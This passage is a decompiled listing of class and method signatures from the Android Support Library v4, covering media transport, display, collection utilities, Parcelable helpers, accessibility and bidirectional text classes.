    public static final int FLAG_KEY_MEDIA_STOP = 32;
    public static final int FLAG_KEY_MEDIA_FAST_FORWARD = 64;
    public static final int FLAG_KEY_MEDIA_NEXT = 128;
    final android.view.KeyEvent$Callback mKeyEventCallback;
    static boolean isMediaKey(int);
    public void TransportMediator(android.app.Activity, TransportPerformer);
    public void TransportMediator(android.view.View, TransportPerformer);
    private void TransportMediator(android.app.Activity, android.view.View, TransportPerformer);
    public Object getRemoteControlClient();
    public boolean dispatchKeyEvent(android.view.KeyEvent);
    public void registerStateListener(TransportStateListener);
    public void unregisterStateListener(TransportStateListener);
    private TransportStateListener[] getListeners();
    private void reportPlayingChanged();
    private void reportTransportControlsChanged();
    private void pushControllerState();
    public void refreshState();
    public void startPlaying();
    public void pausePlaying();
    public void stopPlaying();
    public long getDuration();
    public long getCurrentPosition();
    public void seekTo(long);
    public boolean isPlaying();
    public int getBufferPercentage();
    public int getTransportControlFlags();
    public void destroy();
}










android/support/v4/media/TransportMediatorJellybeanMR2$2.class


package android.support.v4.media;
synchronized class TransportMediatorJellybeanMR2$2 implements android.view.ViewTreeObserver$OnWindowFocusChangeListener {
    void TransportMediatorJellybeanMR2$2(TransportMediatorJellybeanMR2);
    public void onWindowFocusChanged(boolean);
}










android/support/v4/media/TransportMediator$2.class


package android.support.v4.media;
synchronized class TransportMediator$2 implements android.view.KeyEvent$Callback {
    void TransportMediator$2(TransportMediator);
    public boolean onKeyDown(int, android.view.KeyEvent);
    public boolean onKeyLongPress(int, android.view.KeyEvent);
    public boolean onKeyUp(int, android.view.KeyEvent);
    public boolean onKeyMultiple(int, int, android.view.KeyEvent);
}










android/support/v4/media/TransportMediatorJellybeanMR2$4.class


package android.support.v4.media;
synchronized class TransportMediatorJellybeanMR2$4 implements android.media.AudioManager$OnAudioFocusChangeListener {
    void TransportMediatorJellybeanMR2$4(TransportMediatorJellybeanMR2);
    public void onAudioFocusChange(int);
}










android/support/v4/media/TransportPerformer.class


package android.support.v4.media;
public abstract synchronized class TransportPerformer {
    static final int AUDIOFOCUS_GAIN = 1;
    static final int AUDIOFOCUS_GAIN_TRANSIENT = 2;
    static final int AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK = 3;
    static final int AUDIOFOCUS_LOSS = -1;
    static final int AUDIOFOCUS_LOSS_TRANSIENT = -2;
    static final int AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK = -3;
    public void TransportPerformer();
    public abstract void onStart();
    public abstract void onPause();
    public abstract void onStop();
    public abstract long onGetDuration();
    public abstract long onGetCurrentPosition();
    public abstract void onSeekTo(long);
    public abstract boolean onIsPlaying();
    public int onGetBufferPercentage();
    public int onGetTransportControlFlags();
    public boolean onMediaButtonDown(int, android.view.KeyEvent);
    public boolean onMediaButtonUp(int, android.view.KeyEvent);
    public void onAudioFocusChange(int);
}










android/support/v4/media/TransportMediatorJellybeanMR2$3.class


package android.support.v4.media;
synchronized class TransportMediatorJellybeanMR2$3 extends android.content.BroadcastReceiver {
    void TransportMediatorJellybeanMR2$3(TransportMediatorJellybeanMR2);
    public void onReceive(android.content.Context, android.content.Intent);
}










android/support/v4/media/TransportMediatorCallback.class


package android.support.v4.media;
abstract interface TransportMediatorCallback {
    public abstract void handleKey(android.view.KeyEvent);
    public abstract void handleAudioFocusChange(int);
    public abstract long getPlaybackPosition();
    public abstract void playbackPositionUpdate(long);
}










android/support/v4/hardware/display/DisplayManagerCompat$LegacyImpl.class


package android.support.v4.hardware.display;
synchronized class DisplayManagerCompat$LegacyImpl extends DisplayManagerCompat {
    private final android.view.WindowManager mWindowManager;
    public void DisplayManagerCompat$LegacyImpl(android.content.Context);
    public android.view.Display getDisplay(int);
    public android.view.Display[] getDisplays();
    public android.view.Display[] getDisplays(String);
}










android/support/v4/hardware/display/DisplayManagerCompat$JellybeanMr1Impl.class


package android.support.v4.hardware.display;
synchronized class DisplayManagerCompat$JellybeanMr1Impl extends DisplayManagerCompat {
    private final Object mDisplayManagerObj;
    public void DisplayManagerCompat$JellybeanMr1Impl(android.content.Context);
    public android.view.Display getDisplay(int);
    public android.view.Display[] getDisplays();
    public android.view.Display[] getDisplays(String);
}










android/support/v4/hardware/display/DisplayManagerCompat.class


package android.support.v4.hardware.display;
public abstract synchronized class DisplayManagerCompat {
    private static final java.util.WeakHashMap sInstances;
    public static final String DISPLAY_CATEGORY_PRESENTATION = android.hardware.display.category.PRESENTATION;
    void DisplayManagerCompat();
    public static DisplayManagerCompat getInstance(android.content.Context);
    public abstract android.view.Display getDisplay(int);
    public abstract android.view.Display[] getDisplays();
    public abstract android.view.Display[] getDisplays(String);
    static void <clinit>();
}










android/support/v4/hardware/display/DisplayManagerJellybeanMr1.class


package android.support.v4.hardware.display;
final synchronized class DisplayManagerJellybeanMr1 {
    void DisplayManagerJellybeanMr1();
    public static Object getDisplayManager(android.content.Context);
    public static android.view.Display getDisplay(Object, int);
    public static android.view.Display[] getDisplays(Object);
    public static android.view.Display[] getDisplays(Object, String);
}










android/support/v4/internal/view/SupportMenu.class


package android.support.v4.internal.view;
public abstract interface SupportMenu extends android.view.Menu {
    public static final int USER_MASK = 65535;
    public static final int USER_SHIFT = 0;
    public static final int CATEGORY_MASK = -65536;
    public static final int CATEGORY_SHIFT = 16;
}










android/support/v4/internal/view/SupportMenuItem.class


package android.support.v4.internal.view;
public abstract interface SupportMenuItem extends android.view.MenuItem {
    public static final int SHOW_AS_ACTION_NEVER = 0;
    public static final int SHOW_AS_ACTION_IF_ROOM = 1;
    public static final int SHOW_AS_ACTION_ALWAYS = 2;
    public static final int SHOW_AS_ACTION_WITH_TEXT = 4;
    public static final int SHOW_AS_ACTION_COLLAPSE_ACTION_VIEW = 8;
    public abstract void setShowAsAction(int);
    public abstract android.view.MenuItem setShowAsActionFlags(int);
    public abstract android.view.MenuItem setActionView(android.view.View);
    public abstract android.view.MenuItem setActionView(int);
    public abstract android.view.View getActionView();
    public abstract SupportMenuItem setSupportActionProvider(android.support.v4.view.ActionProvider);
    public abstract android.support.v4.view.ActionProvider getSupportActionProvider();
    public abstract boolean expandActionView();
    public abstract boolean collapseActionView();
    public abstract boolean isActionViewExpanded();
    public abstract SupportMenuItem setSupportOnActionExpandListener(android.support.v4.view.MenuItemCompat$OnActionExpandListener);
}










android/support/v4/internal/view/SupportSubMenu.class


package android.support.v4.internal.view;
public abstract interface SupportSubMenu extends SupportMenu, android.view.SubMenu {
}










android/support/v4/util/LongSparseArray.class


package android.support.v4.util;
public synchronized class LongSparseArray implements Cloneable {
    private static final Object DELETED;
    private boolean mGarbage;
    private long[] mKeys;
    private Object[] mValues;
    private int mSize;
    public void LongSparseArray();
    public void LongSparseArray(int);
    public LongSparseArray clone();
    public Object get(long);
    public Object get(long, Object);
    public void delete(long);
    public void remove(long);
    public void removeAt(int);
    private void gc();
    public void put(long, Object);
    public int size();
    public long keyAt(int);
    public Object valueAt(int);
    public void setValueAt(int, Object);
    public int indexOfKey(long);
    public int indexOfValue(Object);
    public void clear();
    public void append(long, Object);
    public String toString();
    static void <clinit>();
}










android/support/v4/util/MapCollections$EntrySet.class


package android.support.v4.util;
final synchronized class MapCollections$EntrySet implements java.util.Set {
    void MapCollections$EntrySet(MapCollections);
    public boolean add(java.util.Map$Entry);
    public boolean addAll(java.util.Collection);
    public void clear();
    public boolean contains(Object);
    public boolean containsAll(java.util.Collection);
    public boolean isEmpty();
    public java.util.Iterator iterator();
    public boolean remove(Object);
    public boolean removeAll(java.util.Collection);
    public boolean retainAll(java.util.Collection);
    public int size();
    public Object[] toArray();
    public Object[] toArray(Object[]);
    public boolean equals(Object);
    public int hashCode();
}










android/support/v4/util/ContainerHelpers.class


package android.support.v4.util;
synchronized class ContainerHelpers {
    static final int[] EMPTY_INTS;
    static final long[] EMPTY_LONGS;
    static final Object[] EMPTY_OBJECTS;
    void ContainerHelpers();
    public static int idealIntArraySize(int);
    public static int idealLongArraySize(int);
    public static int idealByteArraySize(int);
    public static boolean equal(Object, Object);
    static int binarySearch(int[], int, int);
    static int binarySearch(long[], int, long);
    static void <clinit>();
}










android/support/v4/util/ArrayMap$1.class


package android.support.v4.util;
synchronized class ArrayMap$1 extends MapCollections {
    void ArrayMap$1(ArrayMap);
    protected int colGetSize();
    protected Object colGetEntry(int, int);
    protected int colIndexOfKey(Object);
    protected int colIndexOfValue(Object);
    protected java.util.Map colGetMap();
    protected void colPut(Object, Object);
    protected Object colSetValue(int, Object);
    protected void colRemoveAt(int);
    protected void colClear();
}










android/support/v4/util/MapCollections$ValuesCollection.class


package android.support.v4.util;
final synchronized class MapCollections$ValuesCollection implements java.util.Collection {
    void MapCollections$ValuesCollection(MapCollections);
    public boolean add(Object);
    public boolean addAll(java.util.Collection);
    public void clear();
    public boolean contains(Object);
    public boolean containsAll(java.util.Collection);
    public boolean isEmpty();
    public java.util.Iterator iterator();
    public boolean remove(Object);
    public boolean removeAll(java.util.Collection);
    public boolean retainAll(java.util.Collection);
    public int size();
    public Object[] toArray();
    public Object[] toArray(Object[]);
}










android/support/v4/util/SparseArrayCompat.class


package android.support.v4.util;
public synchronized class SparseArrayCompat implements Cloneable {
    private static final Object DELETED;
    private boolean mGarbage;
    private int[] mKeys;
    private Object[] mValues;
    private int mSize;
    public void SparseArrayCompat();
    public void SparseArrayCompat(int);
    public SparseArrayCompat clone();
    public Object get(int);
    public Object get(int, Object);
    public void delete(int);
    public void remove(int);
    public void removeAt(int);
    public void removeAtRange(int, int);
    private void gc();
    public void put(int, Object);
    public int size();
    public int keyAt(int);
    public Object valueAt(int);
    public void setValueAt(int, Object);
    public int indexOfKey(int);
    public int indexOfValue(Object);
    public void clear();
    public void append(int, Object);
    public String toString();
    static void <clinit>();
}










android/support/v4/util/MapCollections$KeySet.class


package android.support.v4.util;
final synchronized class MapCollections$KeySet implements java.util.Set {
    void MapCollections$KeySet(MapCollections);
    public boolean add(Object);
    public boolean addAll(java.util.Collection);
    public void clear();
    public boolean contains(Object);
    public boolean containsAll(java.util.Collection);
    public boolean isEmpty();
    public java.util.Iterator iterator();
    public boolean remove(Object);
    public boolean removeAll(java.util.Collection);
    public boolean retainAll(java.util.Collection);
    public int size();
    public Object[] toArray();
    public Object[] toArray(Object[]);
    public boolean equals(Object);
    public int hashCode();
}










android/support/v4/util/DebugUtils.class


package android.support.v4.util;
public synchronized class DebugUtils {
    public void DebugUtils();
    public static void buildShortClassTag(Object, StringBuilder);
}










android/support/v4/util/MapCollections$MapIterator.class


package android.support.v4.util;
final synchronized class MapCollections$MapIterator implements java.util.Iterator, java.util.Map$Entry {
    int mEnd;
    int mIndex;
    boolean mEntryValid;
    void MapCollections$MapIterator(MapCollections);
    public boolean hasNext();
    public java.util.Map$Entry next();
    public void remove();
    public Object getKey();
    public Object getValue();
    public Object setValue(Object);
    public final boolean equals(Object);
    public final int hashCode();
    public final String toString();
}










android/support/v4/util/TimeUtils.class


package android.support.v4.util;
public synchronized class TimeUtils {
    public static final int HUNDRED_DAY_FIELD_LEN = 19;
    private static final int SECONDS_PER_MINUTE = 60;
    private static final int SECONDS_PER_HOUR = 3600;
    private static final int SECONDS_PER_DAY = 86400;
    private static final Object sFormatSync;
    private static char[] sFormatStr;
    public void TimeUtils();
    private static int accumField(int, int, boolean, int);
    private static int printField(char[], int, char, int, boolean, int);
    private static int formatDurationLocked(long, int);
    public static void formatDuration(long, StringBuilder);
    public static void formatDuration(long, java.io.PrintWriter, int);
    public static void formatDuration(long, java.io.PrintWriter);
    public static void formatDuration(long, long, java.io.PrintWriter);
    static void <clinit>();
}










android/support/v4/util/SimpleArrayMap.class


package android.support.v4.util;
public synchronized class SimpleArrayMap {
    private static final boolean DEBUG = 0;
    private static final String TAG = ArrayMap;
    private static final int BASE_SIZE = 4;
    private static final int CACHE_SIZE = 10;
    static Object[] mBaseCache;
    static int mBaseCacheSize;
    static Object[] mTwiceBaseCache;
    static int mTwiceBaseCacheSize;
    int[] mHashes;
    Object[] mArray;
    int mSize;
    int indexOf(Object, int);
    int indexOfNull();
    private void allocArrays(int);
    private static void freeArrays(int[], Object[], int);
    public void SimpleArrayMap();
    public void SimpleArrayMap(int);
    public void SimpleArrayMap(SimpleArrayMap);
    public void clear();
    public void ensureCapacity(int);
    public boolean containsKey(Object);
    int indexOfValue(Object);
    public boolean containsValue(Object);
    public Object get(Object);
    public Object keyAt(int);
    public Object valueAt(int);
    public Object setValueAt(int, Object);
    public boolean isEmpty();
    public Object put(Object, Object);
    public void putAll(SimpleArrayMap);
    public Object remove(Object);
    public Object removeAt(int);
    public int size();
    public boolean equals(Object);
    public int hashCode();
    public String toString();
}










android/support/v4/util/ArrayMap.class


package android.support.v4.util;
public synchronized class ArrayMap extends SimpleArrayMap implements java.util.Map {
    MapCollections mCollections;
    public void ArrayMap();
    public void ArrayMap(int);
    public void ArrayMap(SimpleArrayMap);
    private MapCollections getCollection();
    public boolean containsAll(java.util.Collection);
    public void putAll(java.util.Map);
    public boolean removeAll(java.util.Collection);
    public boolean retainAll(java.util.Collection);
    public java.util.Set entrySet();
    public java.util.Set keySet();
    public java.util.Collection values();
}










android/support/v4/util/AtomicFile.class


package android.support.v4.util;
public synchronized class AtomicFile {
    private final java.io.File mBaseName;
    private final java.io.File mBackupName;
    public void AtomicFile(java.io.File);
    public java.io.File getBaseFile();
    public void delete();
    public java.io.FileOutputStream startWrite() throws java.io.IOException;
    public void finishWrite(java.io.FileOutputStream);
    public void failWrite(java.io.FileOutputStream);
    public java.io.FileInputStream openRead() throws java.io.FileNotFoundException;
    public byte[] readFully() throws java.io.IOException;
    static boolean sync(java.io.FileOutputStream);
}










android/support/v4/util/MapCollections.class


package android.support.v4.util;
abstract synchronized class MapCollections {
    MapCollections$EntrySet mEntrySet;
    MapCollections$KeySet mKeySet;
    MapCollections$ValuesCollection mValues;
    void MapCollections();
    public static boolean containsAllHelper(java.util.Map, java.util.Collection);
    public static boolean removeAllHelper(java.util.Map, java.util.Collection);
    public static boolean retainAllHelper(java.util.Map, java.util.Collection);
    public Object[] toArrayHelper(int);
    public Object[] toArrayHelper(Object[], int);
    public static boolean equalsSetHelper(java.util.Set, Object);
    public java.util.Set getEntrySet();
    public java.util.Set getKeySet();
    public java.util.Collection getValues();
    protected abstract int colGetSize();
    protected abstract Object colGetEntry(int, int);
    protected abstract int colIndexOfKey(Object);
    protected abstract int colIndexOfValue(Object);
    protected abstract java.util.Map colGetMap();
    protected abstract void colPut(Object, Object);
    protected abstract Object colSetValue(int, Object);
    protected abstract void colRemoveAt(int);
    protected abstract void colClear();
}










android/support/v4/util/LruCache.class


package android.support.v4.util;
public synchronized class LruCache {
    private final java.util.LinkedHashMap map;
    private int size;
    private int maxSize;
    private int putCount;
    private int createCount;
    private int evictionCount;
    private int hitCount;
    private int missCount;
    public void LruCache(int);
    public final Object get(Object);
    public final Object put(Object, Object);
    public void trimToSize(int);
    public final Object remove(Object);
    protected void entryRemoved(boolean, Object, Object, Object);
    protected Object create(Object);
    private int safeSizeOf(Object, Object);
    protected int sizeOf(Object, Object);
    public final void evictAll();
    public final synchronized int size();
    public final synchronized int maxSize();
    public final synchronized int hitCount();
    public final synchronized int missCount();
    public final synchronized int createCount();
    public final synchronized int putCount();
    public final synchronized int evictionCount();
    public final synchronized java.util.Map snapshot();
    public final synchronized String toString();
}










android/support/v4/util/MapCollections$ArrayIterator.class


package android.support.v4.util;
final synchronized class MapCollections$ArrayIterator implements java.util.Iterator {
    final int mOffset;
    int mSize;
    int mIndex;
    boolean mCanRemove;
    void MapCollections$ArrayIterator(MapCollections, int);
    public boolean hasNext();
    public Object next();
    public void remove();
}










android/support/v4/util/LogWriter.class


package android.support.v4.util;
public synchronized class LogWriter extends java.io.Writer {
    private final String mTag;
    private StringBuilder mBuilder;
    public void LogWriter(String);
    public void close();
    public void flush();
    public void write(char[], int, int);
    private void flushBuilder();
}










android/support/v4/os/ParcelableCompatCreatorHoneycombMR2.class


package android.support.v4.os;
synchronized class ParcelableCompatCreatorHoneycombMR2 implements android.os.Parcelable$ClassLoaderCreator {
    private final ParcelableCompatCreatorCallbacks mCallbacks;
    public void ParcelableCompatCreatorHoneycombMR2(ParcelableCompatCreatorCallbacks);
    public Object createFromParcel(android.os.Parcel);
    public Object createFromParcel(android.os.Parcel, ClassLoader);
    public Object[] newArray(int);
}










android/support/v4/os/ParcelableCompat$CompatCreator.class


package android.support.v4.os;
synchronized class ParcelableCompat$CompatCreator implements android.os.Parcelable$Creator {
    final ParcelableCompatCreatorCallbacks mCallbacks;
    public void ParcelableCompat$CompatCreator(ParcelableCompatCreatorCallbacks);
    public Object createFromParcel(android.os.Parcel);
    public Object[] newArray(int);
}










android/support/v4/os/ParcelableCompat.class


package android.support.v4.os;
public synchronized class ParcelableCompat {
    public void ParcelableCompat();
    public static android.os.Parcelable$Creator newCreator(ParcelableCompatCreatorCallbacks);
}










android/support/v4/os/ParcelableCompatCreatorCallbacks.class


package android.support.v4.os;
public abstract interface ParcelableCompatCreatorCallbacks {
    public abstract Object createFromParcel(android.os.Parcel, ClassLoader);
    public abstract Object[] newArray(int);
}










android/support/v4/os/EnvironmentCompat.class


package android.support.v4.os;
public synchronized class EnvironmentCompat {
    private static final String TAG = EnvironmentCompat;
    public static final String MEDIA_UNKNOWN = unknown;
    public void EnvironmentCompat();
    public static String getStorageState(java.io.File);
}










android/support/v4/os/EnvironmentCompatKitKat.class


package android.support.v4.os;
synchronized class EnvironmentCompatKitKat {
    void EnvironmentCompatKitKat();
    public static String getStorageState(java.io.File);
}










android/support/v4/os/ParcelableCompatCreatorHoneycombMR2Stub.class


package android.support.v4.os;
synchronized class ParcelableCompatCreatorHoneycombMR2Stub {
    void ParcelableCompatCreatorHoneycombMR2Stub();
    static android.os.Parcelable$Creator instantiate(ParcelableCompatCreatorCallbacks);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatIcs.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompatIcs {
    void AccessibilityServiceInfoCompatIcs();
    public static boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public static android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl.class


package android.support.v4.accessibilityservice;
abstract interface AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl {
    public abstract String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract int getCapabilities(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoJellyBeanMr2.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompat$AccessibilityServiceInfoJellyBeanMr2 extends AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl {
    void AccessibilityServiceInfoCompat$AccessibilityServiceInfoJellyBeanMr2();
    public int getCapabilities(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl implements AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl {
    void AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl();
    public boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
    public int getCapabilities(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl extends AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl {
    void AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl();
    public boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
    public int getCapabilities(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatJellyBeanMr2.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompatJellyBeanMr2 {
    void AccessibilityServiceInfoCompatJellyBeanMr2();
    public static int getCapabilities(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat.class


package android.support.v4.accessibilityservice;
public synchronized class AccessibilityServiceInfoCompat {
    private static final AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl IMPL;
    public static final int CAPABILITY_CAN_RETRIEVE_WINDOW_CONTENT = 1;
    public static final int CAPABILITY_CAN_REQUEST_TOUCH_EXPLORATION = 2;
    public static final int CAPABILITY_CAN_REQUEST_ENHANCED_WEB_ACCESSIBILITY = 4;
    public static final int CAPABILITY_CAN_FILTER_KEY_EVENTS = 8;
    public static final int FEEDBACK_BRAILLE = 32;
    public static final int FEEDBACK_ALL_MASK = -1;
    public static final int DEFAULT = 1;
    public static final int FLAG_INCLUDE_NOT_IMPORTANT_VIEWS = 2;
    public static final int FLAG_REQUEST_TOUCH_EXPLORATION_MODE = 4;
    public static final int FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY = 8;
    public static final int FLAG_REPORT_VIEW_IDS = 16;
    public static final int FLAG_REQUEST_FILTER_KEY_EVENTS = 32;
    private void AccessibilityServiceInfoCompat();
    public static String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public static android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
    public static boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public static String feedbackTypeToString(int);
    public static String flagToString(int);
    public static int getCapabilities(android.accessibilityservice.AccessibilityServiceInfo);
    public static String capabilityToString(int);
    static void <clinit>();
}










android/support/v4/database/DatabaseUtilsCompat.class


package android.support.v4.database;
public synchronized class DatabaseUtilsCompat {
    private void DatabaseUtilsCompat();
    public static String concatenateWhere(String, String);
    public static String[] appendSelectionArgs(String[], String[]);
}










android/support/v4/text/TextDirectionHeuristicsCompat$FirstStrong.class


package android.support.v4.text;
synchronized class TextDirectionHeuristicsCompat$FirstStrong implements TextDirectionHeuristicsCompat$TextDirectionAlgorithm {
    public static final TextDirectionHeuristicsCompat$FirstStrong INSTANCE;
    public int checkRtl(CharSequence, int, int);
    private void TextDirectionHeuristicsCompat$FirstStrong();
    static void <clinit>();
}










android/support/v4/text/TextDirectionHeuristicsCompat$AnyStrong.class


package android.support.v4.text;
synchronized class TextDirectionHeuristicsCompat$AnyStrong implements TextDirectionHeuristicsCompat$TextDirectionAlgorithm {
    private final boolean mLookForRtl;
    public static final TextDirectionHeuristicsCompat$AnyStrong INSTANCE_RTL;
    public static final TextDirectionHeuristicsCompat$AnyStrong INSTANCE_LTR;
    public int checkRtl(CharSequence, int, int);
    private void TextDirectionHeuristicsCompat$AnyStrong(boolean);
    static void <clinit>();
}










android/support/v4/text/BidiFormatter$DirectionalityEstimator.class


package android.support.v4.text;
synchronized class BidiFormatter$DirectionalityEstimator {
    private static final int DIR_TYPE_CACHE_SIZE = 1792;
    private static final byte[] DIR_TYPE_CACHE;
    private final String text;
    private final boolean isHtml;
    private final int length;
    private int charIndex;
    private char lastChar;
    void BidiFormatter$DirectionalityEstimator(String, boolean);
    int getEntryDir();
    int getExitDir();
    private static byte getCachedDirectionality(char);
    byte dirTypeForward();
    byte dirTypeBackward();
    private byte skipTagForward();
    private byte skipTagBackward();
    private byte skipEntityForward();
    private byte skipEntityBackward();
    static void <clinit>();
}










android/support/v4/text/TextDirectionHeuristicsCompat.class


package android.support.v4.text;
public synchronized class TextDirectionHeuristicsCompat {
    public static final TextDirectionHeuristicCompat LTR;
    public static final TextDirectionHeuristicCompat RTL;
    public static final TextDirectionHeuristicCompat FIRSTSTRONG_LTR;
    public static final TextDirectionHeuristicCompat FIRSTSTRONG_RTL;
    public static final TextDirectionHeuristicCompat ANYRTL_LTR;
    public static final TextDirectionHeuristicCompat LOCALE;
    private static final int STATE_TRUE = 0;
    private static final int STATE_FALSE = 1;
    private static final int STATE_UNKNOWN = 2;
    public void TextDirectionHeuristicsCompat();
    private static int isRtlText(int);
    private static int isRtlTextOrFormat(int);
    static void <clinit>();
}










android/support/v4/text/ICUCompat$ICUCompatImpl.class


package android.support.v4.text;
abstract interface ICUCompat$ICUCompatImpl {
    public abstract String getScript(String);
    public abstract String addLikelySubtags(String);
}










android/support/v4/text/ICUCompat$ICUCompatImplIcs.class


package android.support.v4.text;
synchronized class ICUCompat$ICUCompatImplIcs implements ICUCompat$ICUCompatImpl {
    void ICUCompat$ICUCompatImplIcs();
    public String getScript(String);
    public String addLikelySubtags(String);
}










android/support/v4/text/ICUCompat.class


package android.support.v4.text;
public synchronized class ICUCompat {
    private static final ICUCompat$ICUCompatImpl IMPL;
    public void ICUCompat();
    public static String getScript(String);
    public static String addLikelySubtags(String);
    static void <clinit>();
}










android/support/v4/text/BidiFormatter$1.class


package android.support.v4.text;
synchronized class BidiFormatter$1 {
}










android/support/v4/text/TextDirectionHeuristicsCompat$TextDirectionHeuristicLocale.class


package android.support.v4.text;
synchronized class TextDirectionHeuristicsCompat$TextDirectionHeuristicLocale extends TextDirectionHeuristicsCompat$TextDirectionHeuristicImpl {
    public static final TextDirectionHeuristicsCompat$TextDirectionHeuristicLocale INSTANCE;
    public void TextDirectionHeuristicsCompat$TextDirectionHeuristicLocale();
    protected boolean defaultIsRtl();
    static void <clinit>();
}










android/support/v4/text/TextDirectionHeuristicsCompat$1.class


package android.support.v4.text;
synchronized class TextDirectionHeuristicsCompat$1 {
}










android/support/v4/text/TextUtilsCompat.class


package android.support.v4.text;
public synchronized class TextUtilsCompat {
    public static final java.util.Locale ROOT;
    private static String ARAB_SCRIPT_SUBTAG;
    private static String HEBR_SCRIPT_SUBTAG;
    public void TextUtilsCompat();
    public static String htmlEncode(String);
    public static int getLayoutDirectionFromLocale(java.util.Locale);
    private static int getLayoutDirectionFromFirstChar(java.util.Locale);
    static void <clinit>();
}










android/support/v4/text/TextDirectionHeuristicsCompat$TextDirectionHeuristicImpl.class


package android.support.v4.text;
abstract synchronized class TextDirectionHeuristicsCompat$TextDirectionHeuristicImpl implements TextDirectionHeuristicCompat {
    private final TextDirectionHeuristicsCompat$TextDirectionAlgorithm mAlgorithm;
    public void TextDirectionHeuristicsCompat$TextDirectionHeuristicImpl(TextDirectionHeuristicsCompat$TextDirectionAlgorithm);
    protected abstract boolean defaultIsRtl();
    public boolean isRtl(char[], int, int);
    public boolean isRtl(CharSequence, int, int);
    private boolean doCheck(CharSequence, int, int);
}










android/support/v4/text/TextDirectionHeuristicCompat.class


package android.support.v4.text;
public abstract interface TextDirectionHeuristicCompat {
    public abstract boolean isRtl(char[], int, int);
    public abstract boolean isRtl(CharSequence, int, int);
}










android/support/v4/text/BidiFormatter.class


package android.support.v4.text;
public final synchronized class BidiFormatter {
    private static TextDirectionHeuristicCompat DEFAULT_TEXT_DIRECTION_HEURISTIC;
    private static final char LRE = 8234;
    private static final char RLE = 8235;
    private static final char PDF = 8236;
    private static final char LRM = 8206;
    private static final char RLM = 8207;
    private static final String LRM_STRING;
    private static final String RLM_STRING;
    private static final String EMPTY_STRING = ;
    private static final int FLAG_STEREO_RESET = 2;
    private static final int DEFAULT_FLAGS = 2;
    private static final BidiFormatter DEFAULT_LTR_INSTANCE;
    private static final BidiFormatter DEFAULT_RTL_INSTANCE;
    private final boolean mIsRtlContext;
    private final int mFlags;
    private final TextDirectionHeuristicCompat mDefaultTextDirectionHeuristicCompat;
    private static final int DIR_LTR = -1;
    private static final int DIR_UNKNOWN = 0;
    private static final int DIR_RTL = 1;
    public static BidiFormatter getInstance();
    public static BidiFormatter getInstance(boolean);
    public static BidiFormatter getInstance(java.util.Locale);
    private void BidiFormatter(boolean, int, TextDirectionHeuristicCompat);
    public boolean isRtlContext();
    public boolean getStereoReset();
    private String markAfter(String, TextDirectionHeuristicCompat);
    private String markBefore(String, TextDirectionHeuristicCompat);
    public boolean isRtl(String);
    public String unicodeWrap(String, TextDirectionHeuristicCompat, boolean);
    public String unicodeWrap(String, TextDirectionHeuristicCompat);
    public String unicodeWrap(String, boolean);
    public String unicodeWrap(String);
    private static boolean isRtlLocale(java.util.Locale);
    private static int getExitDir(String);
    private static int getEntryDir(String);
    static void <clinit>();
}










